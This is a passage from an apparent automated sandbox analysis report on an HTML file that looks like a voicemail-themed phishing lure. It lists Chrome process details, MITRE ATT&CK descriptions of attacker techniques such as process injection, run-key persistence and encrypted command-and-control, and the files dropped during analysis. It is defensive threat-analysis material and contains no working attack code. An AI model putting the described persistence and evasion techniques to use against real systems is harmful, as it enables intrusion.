cfL4;desc="?proto=TCP&rtt=1817&min_rtt=1817&rtt_var=908&sent=5&recv=7&lost=0&retrans=1&sent_bytes=4202&recv_bytes=1046&delivery_rate=262944&cwnd=230&unsent_bytes=0&cid=29b2519f8c2529a5&ts=607&x=0"
2025-01-10 15:33:29 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-10 15:33:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:33:05
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play_VM-NowTingrammAudiowav011.html
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	10:33:08
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1852,i,16924924304388263434,6221033386687583633,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Play_VM-NowTingrammAudiowav011.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Data Obfuscation

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Windows Analysis Report
Play_VM-NowTingrammAudiowav011.html